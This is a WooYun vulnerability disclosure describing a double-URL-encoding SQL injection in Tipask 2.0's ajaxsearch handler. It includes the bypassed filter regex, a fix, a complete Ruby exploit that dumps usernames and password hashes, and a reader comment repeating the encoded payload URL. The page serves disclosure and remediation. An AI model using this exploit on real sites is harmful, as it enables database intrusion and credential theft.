当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025802

漏洞标题:tipask问答系统2.0 ajaxsearch二次编码注入漏洞

相关厂商:tipask

漏洞作者: 猪头子

提交时间:2013-06-13 10:38

修复时间:2013-09-11 10:39

公开时间:2013-09-11 10:39

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。
但是Tipask中存在二次编码问题,所以导致绕过系统过滤造成注入。

详细说明:

在程序入口/model/tipask.class.php init_request()中:

$this->get = taddslashes($this-> get, 1);
$this-> post = taddslashes(array_merge($_GET, $_POST));
checkattack($this-> post, 'post' );
checkattack($this-> get, 'get' );


对get和post的参数进行了的addslashes,经过了checkattack检查:

function
checkattack($reqarr, $reqtype= 'post') {
$filtertable =
array(

'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,

'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,

'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'

);

foreach ($reqarr as $reqkey => $reqvalue) {

if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1) {

print('Illegal operation!' );

exit(-1);
}
}
}


这个检查主要针对SQL注入,发现匹配的规则就退出
现在看漏洞处/control/question.php onajaxsearch函数:

/* 提问自动搜索已经解决的问题 */
function onajaxsearch () {
$title = urldecode($this-> get[2]);
$questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);
include template('ajaxsearch' );
}


对get的第二个参数urldecode后直接传入SQL语句,绕过了前面的过滤和检查,导致SQL注入。

漏洞证明:

require "net/http"
require "uri"
def urlencode(exp)
str = "";
exp.each_char { |c|
str << sprintf("%%%x", c.ord)
}
return str
end
def request(method, url)
if method.eql?("get")
uri = URI.parse(url)
http = Net::HTTP.new(uri.host, uri.port)
response = http.request(Net::HTTP::Get.new(uri.request_uri))
return response
end
end
doc =<<HERE
-------------------------------------------------------
Tipask 2.0 Inejction Exploit
Author:ztz
Blog:http://ztz.fuzzexp.org/
-------------------------------------------------------
HERE
usage =<<HERE
Usage: ruby #{$0} host port path
example: ruby #{$0} help.tipask.com 80 /
HERE
puts doc
if ARGV.length < 3
puts usage
else
$host = ARGV[0]
$port = ARGV[1]
$path = ARGV[2]
puts "[*]send request..."
url = "http://#{$host}:#{$port}#{$path}?question/ajaxsearch/"
exp = urlencode("' UNION SELECT 1,2,3,4,5,6,7,8,concat(username,char(0x3d),password),10,11,12,13,14,15,16,17,18,19,20,21 from ask_user#")
response = request("get", url<<exp)
result = response.body.scan(/\w+=\w{32}/)
puts result
end


1.jpg

修复方案:

function onajaxsearch () {
$title = $this-> get[2];
$questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);
include template('ajaxsearch' );
}

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-06-13 15:17 | 膜拜hym ( 路人 | Rank:15 漏洞数:2 )

    膜拜白帽子

  2. 2013-06-13 23:43 | hfy ( 路人 | Rank:5 漏洞数:3 | 打了个狗~)

    kao

  3. 2013-09-12 13:04 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    mark./?question/ajaxsearch/%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%63%6f%6e%63%61%74%28%75%73%65%72%6e%61%6d%65%2c%63%68%61%72%28%30%78%33%64%29%2c%70%61%73%73%77%6f%72%64%29%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%20%66%72%6f%6d%20%61%73%6b%5f%75%73%65%72%23